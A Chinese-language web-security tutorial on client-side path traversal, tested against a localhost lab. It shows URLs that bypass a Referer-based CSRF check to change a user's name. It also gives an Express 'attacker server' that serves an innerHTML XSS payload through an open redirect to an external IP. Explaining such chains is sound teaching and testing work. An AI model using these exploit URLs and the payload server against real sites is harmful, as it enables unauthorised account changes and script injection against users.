2026/1/12 14:47:04
网站建设
项目流程
如何免费申请公司网站,桂林市市长,微商城登录,企业建站免费模板CSPT全称是Client-Side Path Traversal #xff0c;即客户端路径遍历。概念说明CSPT 全称 Client-Side Path Traversal#xff08;客户端路径遍历#xff09;#xff0c;是一种针对前端应用的漏洞#xff0c;核心是攻击者通过篡改 URL 参数、请求参数等#xff0c;让浏览…CSPT全称是Client-Side Path Traversal 即客户端路径遍历。概念说明CSPT 全称 Client-Side Path Traversal客户端路径遍历是一种针对前端应用的漏洞核心是攻击者通过篡改 URL 参数、请求参数等让浏览器客户端错误地向非预期的服务器路径发送请求从而获取本不应访问的数据或资源。它的本质是 “前端逻辑对参数校验不严格”区别于传统的 “服务端路径遍历”攻击目标是服务器文件系统攻击对象浏览器的请求逻辑而非服务器核心结果让浏览器请求到开发者未开放的 API 接口、JSON 数据文件等如果配合其他漏洞可能会触发或绕过达成某些漏洞的利用多用于chain二次攻击。跟上我的节奏让我们揭开这个漏洞的神秘面纱。漏洞基本特征:浏览器上访问 用户资料页面:http://localhost:9999/public/profile.html?id1image除了触发本身的前端页面外还会触发一个api接口api接口: http://localhost:9999/api/users/1response返回:imageapi接口会把返回映射返回给前端输出响应。用一张图总结下此特征:image修改id123http://localhost:9999/public/profile.html?id123image后端会去尝试请求:http://localhost:9999/api/users/123那么这里大家发现没有我们发现api路径上的id可控即可http://localhost:9999/api/users/{可控}有这个特征那么我们可以做什么输入http://localhost:9999/public/profile.html?id../123imageapi会去请求http://localhost:9999/api/123现在我们通过客户端(前端)的访问任意控制后端api的路由走向。单看CSPT漏洞感觉这种行为没有任何意义。因为我们用户本身就可以访问api接口。现在我们把CSPT代入到CSRF漏洞可用业务场景1:用户访问http://localhost:9999/public/profile.html?id1image输出用户信息 如id 姓名和头像。站点内我们发现了一个get请求的修改用户姓名的接口如下所示:http://localhost:9999/api/profile?id1nametest当我们直接访问他它存在安全限制csrf最常见的安全修复方案就是referer限制。image因为有referer限制我无法csrf修改用户信息成功。那么此时CSPT漏洞的作用就来了。已知:http://localhost:9999/public/profile.html?id1返回接口:http://localhost:9999/api/users/1构造可以csrf的CSPT接口:http://localhost:9999/public/profile.html?id../profile?id1nametest因为是客户端漏洞所以最好有必要对特殊字符串进行url编码下:http://localhost:9999/public/profile.html?id..%2fprofile%3fid%3d1%26name%3dtest使用浏览器再次访问:image此时利用CSPT我们成功绕过了csrf限制通过网络数据请求你能看到他携带了referer。现在我们刷新我们的id1的用户页面:image此时姓名已经被修改掉了说明csrf成功。比起传统的referer url绕过使用CSPT更加方便更加智能。可用业务场景2:如果一个网站同时具备CSPTapi接口url跳转漏洞那么此时我们可以把这个漏洞升级成一个xss漏洞。那么我们来看看吧怎么做首先是api接口的url跳转:http://localhost:9999/redirect?urlhttps://example.comimage这个url跳转无法使用伪协议进行xss攻击。那么他的危害相对就小了只能钓鱼。小小的跳转是如何和无用的CSPT配合的。让我们回到最开始CSPT的业务现场:访问http://localhost:9999/public/profile.html?id1触发api接口:http://localhost:9999/api/users/1response返回:{id: 1, name: test, profilePic: /public/images/user1.jpg}imageapi接口的json信息会映射到前端页面上:image现在我们在api接口上发现了一个url跳转漏洞那么此时思路就来了。我们能不能有没有可能通过CSPT漏洞请求api接口实现跳转在页面上加载恶意的json返回这里直接上写好的利用代码:const express require(express);const app express();// 配置 CORS 头允许目标平台localhost:9999跨域读取app.use((req, res, next) {console.log(收到请求:, req.method, req.url);console.log(请求头:, req.headers);res.setHeader(Access-Control-Allow-Origin, http://localhost:9999);res.setHeader(Access-Control-Allow-Credentials, true);// 不在这里统一设置Content-Type让每个路由单独设置res.setHeader(Access-Control-Allow-Methods, GET, POST, OPTIONS);res.setHeader(Access-Control-Allow-Headers, Content-Type, Authorization);res.setHeader(Access-Control-Max-Age, 86400);next();});// 修改为专门支持CSPT漏洞利用的响应格式app.get(/xss, (req, res) {console.log(处理/xss请求为CSPT漏洞利用返回JSON格式响应);res.setHeader(Content-Type, application/json);const maliciousData {id: img src\x\ onerror\alert(321)\ /,name: hello,profilePic: /public/images/default.jpg};console.log(发送JSON格式XSS响应:, JSON.stringify(maliciousData));res.json(maliciousData);});const PORT 5001;app.listen(PORT, () {console.log(攻击者服务XSS 弹窗版启动http://localhost:${PORT});});远程服务器上使用node启动:imageCSPT雏形:http://localhost:9999/public/profile.html?id1 http://localhost:9999/api/users/1演变:http://localhost:9999/public/profile.html?id../../redirect?urlhttps://example.comhttp://localhost:9999/public/profile.html?id..%2f..%2fredirect%3furl%3dhttps%3a%2f%2fexample.comhttp://localhost:9999/redirect?urlhttps://example.comhttps://example.com效果:image此时你会发现访问example.com的时候报错红色了。image所以这也解释了为什么利用攻击代码中为什么要设置Access-Control-*的原因。万事俱备直接利用实现xss吧:http://localhost:9999/public/profile.html?id../../redirect?urlhttp://38.207.176.172:5000/xsshttp://localhost:9999/public/profile.html?id..%2F..%2Fredirect%3Furl%3Dhttp%3A%2F%2F38.207.176.172%3a5001%2fxsshttp://localhost:9999/redirect?urlhttp://38.207.176.172:5001/xsshttp://38.207.176.172:5001/xss编码访问:http://localhost:9999/public/profile.html?id..%2F..%2Fredirect%3Furl%3Dhttp%3A%2F%2F38.207.176.172%3a5001%2fxssimage页面渲染了api 返回内容导致了xss攻击。来看下为什么会xss攻击imageGEThttp://38.207.176.172:5001/xssresponse返回:{id:img src\x\ onerror\alert(321)\ /,name:hello,profilePic:/public/images/default.jpg}从代码角度来看:userInfoDiv.innerHTML h2用户信息/h2pstrongID:/strong ${data.id || 未知}/ppstrong姓名:/strong ${data.name || 未知}/ppstrong头像:/strong img src${data.profilePic || /public/images/default.jpg} alt用户头像 width100 height100/p;image通过url跳转伪造页面实现渲染了用户植入的恶意代码。总结要实现xss漏洞我们需要必须条件1.支持CSPT特性2.api接口存在url跳转漏洞3.页面支持innerHTMl或者document.write输出。这里选择了伪造id参数id一般是数据库的key是不可控的即使是存在危险sink也是无法xss但是这里巧妙的利用了CSPTurl跳转漏洞实现了xss攻击。